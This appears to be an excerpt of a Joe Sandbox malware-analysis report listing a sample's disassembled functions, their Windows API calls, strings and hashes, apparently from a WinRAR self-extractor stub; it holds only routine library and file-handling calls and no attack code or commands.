Opcode ID: 80dce032a90d4a89b113396a31a0bc505f9ea72389a104ad409a5568573f5066
Instruction ID: 88a37c639d6d55a8239fdcd88a160150f21d924c2df029fb2b3a7e3defda9e51
Opcode Fuzzy Hash: 80dce032a90d4a89b113396a31a0bc505f9ea72389a104ad409a5568573f5066
Instruction Fuzzy Hash: 2421C932240305BFD6117B69ED45E7B7BADEB47B94F094108F681E2290CB66DC01DB76

Function 00D7922D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D79232
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00D79255
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00D79274

Part of subcall function 00D80B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00D7AC49,?,?,?,00D7ABF8,?,-00000002,?,00000000,?), ref: 00D80B28

_swprintf.LIBCMT ref: 00D79310

Part of subcall function 00D73F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D73F6E

MoveFileW.KERNEL32(?,?), ref: 00D79385
MoveFileW.KERNEL32(?,?), ref: 00D793C1

Strings

rtmp%d, xrefs: 00D792F9

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: b5341d3c85541a9f47f295630e64374173384b9e423e7d3394bceebdb574da71
Instruction ID: e0b339d78827a9343367faa2af7180fc40a4f315a462febba30bb70b58cd6579
Opcode Fuzzy Hash: b5341d3c85541a9f47f295630e64374173384b9e423e7d3394bceebdb574da71
Instruction Fuzzy Hash: CD416B72911258A6DF20FB60CDA5EEEB77CEF45380F0480AAB50DE3142FA349B458B74

Function 00D87EE5 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,00D88705,?), ref: 00D87FBA
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000003,00000000,00000000), ref: 00D87FDB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00D88002

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00D87F34
utf-8"></head>, xrefs: 00D87F3F
</html>, xrefs: 00D87F8C
<html>, xrefs: 00D87F29, 00D87F62

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: 2737e1a692b3636a7ccce20961a5503ed90257f71c104309e7b35927b74dc10a
Instruction ID: 477917241c72b2b2724be13b7813c7353e9f38a178d1d23f3772dd55415f6e43
Opcode Fuzzy Hash: 2737e1a692b3636a7ccce20961a5503ed90257f71c104309e7b35927b74dc10a
Instruction Fuzzy Hash: C431F0721083117EEB25BB649C06FABB79CDF52720F24410AF614961C2EFB0D909C7B6

Function 00D87D96 Relevance: 12.1, APIs: 8, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00D87DAF
GetTickCount.KERNEL32 ref: 00D87DCD
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D87DE3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D87DF7
TranslateMessage.USER32(?), ref: 00D87E02
DispatchMessageW.USER32(?), ref: 00D87E0D
ShowWindow.USER32(?,00000005,?,00000000,?,?,?,?,00000000,00000000,00000000,<html>,00000006), ref: 00D87EBD
SetWindowTextW.USER32(?,00000000), ref: 00D87EC7

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Message$CountTickWindow$DispatchPeekShowTextTranslate
String ID:
API String ID: 4150546248-0
Opcode ID: f867ac239ac7afcdd8d46eddcc1ba13bd032d56bc3161be143708233b2ab0163
Instruction ID: 014df8c6555e8c6df8b1f3085ee239cfd485794c9cbc0df82a6db7e7724f7d66
Opcode Fuzzy Hash: f867ac239ac7afcdd8d46eddcc1ba13bd032d56bc3161be143708233b2ab0163
Instruction Fuzzy Hash: 35417871208306AFD711EF69C88896BBBE9EF89704B14086DF546C7260DB71EC49CB72

Function 00D7FE20 Relevance: 12.1, APIs: 8, Instructions: 117timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D7FE33

Part of subcall function 00D7A8E0: GetVersionExW.KERNEL32(?), ref: 00D7A905

FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00D7FE5C
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00D7FE6E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D7FE7B
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D7FE91
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D7FE9D
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D7FED3
__aullrem.LIBCMT ref: 00D7FF5D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: eecc66e8500ec29f60e515e318f52ab8e388bfcdef08a11946cf95aaec72c401
Instruction ID: 67e14d210c68e869f537ffed0c416b7cadfc44a46492d73cdf884a3a38d9039a
Opcode Fuzzy Hash: eecc66e8500ec29f60e515e318f52ab8e388bfcdef08a11946cf95aaec72c401
Instruction Fuzzy Hash: 02413CB24083059FC320DF65C8809ABFBF9FF88714F048A2EF59692250E735E548DB66

Function 00D8B0D9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00D8B0EF
_swprintf.LIBCMT ref: 00D8B123

Part of subcall function 00D73F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D73F6E

SetDlgItemTextW.USER32(?,00000066,00DB3122), ref: 00D8B143
_wcschr.LIBVCRUNTIME ref: 00D8B176
EndDialog.USER32(?,00000001), ref: 00D8B257

Strings

%s%s%u, xrefs: 00D8B118

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: d0ce88d36a512ffb7b93a100274bad904bcb2138d6df8223c8dfa36bbc0d2518
Instruction ID: 38a1bdd57363d5b8b4b05851c855453ea5a82517b5c8c046847e6c2ce53a3010
Opcode Fuzzy Hash: d0ce88d36a512ffb7b93a100274bad904bcb2138d6df8223c8dfa36bbc0d2518
Instruction Fuzzy Hash: D2417B72900319AEEF25EB64DC85EEE77BCEB08350F0440A6E409EA151EB709B848F74

Function 00D7C91F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00D7C9A5
_strlen.LIBCMT ref: 00D7C9D5
_swprintf.LIBCMT ref: 00D7C9F6
_wcschr.LIBVCRUNTIME ref: 00D7CA1F
_wcsrchr.LIBVCRUNTIME ref: 00D7CA6B

Strings

%08x, xrefs: 00D7C9EA

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcsrchr
String ID: %08x
API String ID: 1593746830-3682738293
Opcode ID: 630a02c563a1bb4cf45066e56c67a161e9acc2e00d64d42fbcd1f7ce674dc97b
Instruction ID: 337026122e0e1206159b1bb88c62ea1468a358ff190cc3cf287a1a1344ffab45
Opcode Fuzzy Hash: 630a02c563a1bb4cf45066e56c67a161e9acc2e00d64d42fbcd1f7ce674dc97b
Instruction Fuzzy Hash: 4341D332914344AEE730A624CC49ABB67DCDB85711F08852EF98CA7182F674DD04C672

Function 00D952F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D95362
_free.LIBCMT ref: 00D95382

Strings

d0F, xrefs: 00D9530E, 00D953A4

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free
String ID: d0F
API String ID: 269201875-1238022483
Opcode ID: 3183e21e1e5489103b106c5175bddc17f586603fdd4ce21a6ab65ac44297ce1a
Instruction ID: d0d40d5f611998f78df63b0b1a238eb297f1080c83dc1955ef499e94f74e71cb
Opcode Fuzzy Hash: 3183e21e1e5489103b106c5175bddc17f586603fdd4ce21a6ab65ac44297ce1a
Instruction Fuzzy Hash: 7A41CD32A00700ABCF11DF78D881A6AB3A1EF85310F2545A9E505EB385DB71AD01CBA0

Function 00D8859C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00D885B5
GetWindowRect.USER32(?,?), ref: 00D885DA
ShowWindow.USER32(?,00000005,?), ref: 00D88671
SetWindowTextW.USER32(?,00000000), ref: 00D88679
ShowWindow.USER32(00000000,00000005), ref: 00D8868F

Strings

RarHtmlClassName, xrefs: 00D8863B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 116e0959568a121f369672cbeda3fad405ffe8625fdef8e283a1a357697c79fd
Instruction ID: ade02628962481d4043e170db1a347b8863efef2064ee1eec1d117871ab9e1b3
Opcode Fuzzy Hash: 116e0959568a121f369672cbeda3fad405ffe8625fdef8e283a1a357697c79fd
Instruction Fuzzy Hash: 6831AE32500314AFC721AF68DD49B2BBBA9EF49701F044559FD49EA292DB30E910DBB2

Function 00D9930F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D992D3: _free.LIBCMT ref: 00D992FC

_free.LIBCMT ref: 00D9935D

Part of subcall function 00D959C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?), ref: 00D959D8
Part of subcall function 00D959C2: GetLastError.KERNEL32(?,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?,?), ref: 00D959EA

_free.LIBCMT ref: 00D99368
_free.LIBCMT ref: 00D99373
_free.LIBCMT ref: 00D993C7
_free.LIBCMT ref: 00D993D2
_free.LIBCMT ref: 00D993DD
_free.LIBCMT ref: 00D993E8

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 79ca16251da02bffb22ec5b04b3bd6bb15c96f5b654e5c829824a9962078a30e
Instruction ID: be356baf7d461f9cb9fb5111984a18eb130596ff27422bba1bec7ccb71c149a8
Opcode Fuzzy Hash: 79ca16251da02bffb22ec5b04b3bd6bb15c96f5b654e5c829824a9962078a30e
Instruction Fuzzy Hash: 3F111A71A42B04BAEF21BBB4DC06FCBB798DF00710F804929B299A6052DA65A5048B74

Function 00D90C14 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D90C0B,00D8E662), ref: 00D90C22
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D90C30
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D90C49
SetLastError.KERNEL32(00000000,?,00D90C0B,00D8E662), ref: 00D90C9B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d4509ae2bee272b7ffbb850b343e3f19b90fe2c51a7b5868bb43fd24c41bccf1
Instruction ID: f722b37c4128da37b20b45ebeb1c5de32276e3d3bd640d1d0a19dffa0691fae4
Opcode Fuzzy Hash: d4509ae2bee272b7ffbb850b343e3f19b90fe2c51a7b5868bb43fd24c41bccf1
Instruction Fuzzy Hash: 9E01A7372497266EEF6527B87C859372E48EB027B5B34033AF524951E1EF214C0091B4

Function 00D8C7FD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

ReleaseSRWLockExclusive, xrefs: 00D8C83C
AcquireSRWLockExclusive, xrefs: 00D8C82C
KERNEL32.DLL, xrefs: 00D8C817

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: e8ecbb9c569a4d7a5cb3efbb4d25fd601b80e81fa27b82987d4aa4b79857771d
Instruction ID: ebb5b71f8e308b078776daca69ff261a44ac59b73a18388b94f5f31af6914c95
Opcode Fuzzy Hash: e8ecbb9c569a4d7a5cb3efbb4d25fd601b80e81fa27b82987d4aa4b79857771d
Instruction Fuzzy Hash: 3B01F476BE1323EB4F202E745C89AA727A89B03795719213AE450D3340EB30C848ABF5

Function 00D94ADF Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D94A90,?,?,00D94A30,?,00DA7F68,0000000C,00D94B87,?,00000002), ref: 00D94AFF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D94B12
FreeLibrary.KERNEL32(00000000,?,?,?,00D94A90,?,?,00D94A30,?,00DA7F68,0000000C,00D94B87,?,00000002,00000000), ref: 00D94B35

Strings

mscoree.dll, xrefs: 00D94AF8
d0F, xrefs: 00D94AE6
CorExitProcess, xrefs: 00D94B0A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$d0F$mscoree.dll
API String ID: 4061214504-1228497898
Opcode ID: 68ec74cc4d5ed2b1962cda658303a5c1d54dc42e7f178882e58c54ac44998b42
Instruction ID: 23e2c25c4ad3d9a5a05950af013dde5f084c776f3058897a5698f0993aa81a53
Opcode Fuzzy Hash: 68ec74cc4d5ed2b1962cda658303a5c1d54dc42e7f178882e58c54ac44998b42
Instruction Fuzzy Hash: D1F08C30A00308BFCB05AFA5DC19FAEBFB9EB09716F000068B805E2291DB348944CAA4

Function 00D80050 Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00D800AE

Part of subcall function 00D7A8E0: GetVersionExW.KERNEL32(?), ref: 00D7A905

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00D800D0
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D800EA
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00D800FB
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D8010B
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D80117

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: dfbff17776106dee319fa1299178c4857ab4a56d7e0ce7fbc5cda01ba0e18d42
Instruction ID: 51675312b11ef4b9ee6beedb6013cd0e541e7c91c57c97ab6ebc223ada76cb49
Opcode Fuzzy Hash: dfbff17776106dee319fa1299178c4857ab4a56d7e0ce7fbc5cda01ba0e18d42
Instruction Fuzzy Hash: EF31F67A1083459BC740EFA8C88499BB7F8FF98704F04491EF999C3210E730D549CB2A

Function 00D88206 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00D8822A
_memcmp.LIBVCRUNTIME ref: 00D88241

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: b3d359851e2b7ccf18627faf8282b1a013a4c9f8e4f948fab76b21705fb7a3be
Instruction ID: d12e228a9d4532de92bfa38e0de6d1cdf3e670c2c234c60ffc106194ee3c669a
Opcode Fuzzy Hash: b3d359851e2b7ccf18627faf8282b1a013a4c9f8e4f948fab76b21705fb7a3be
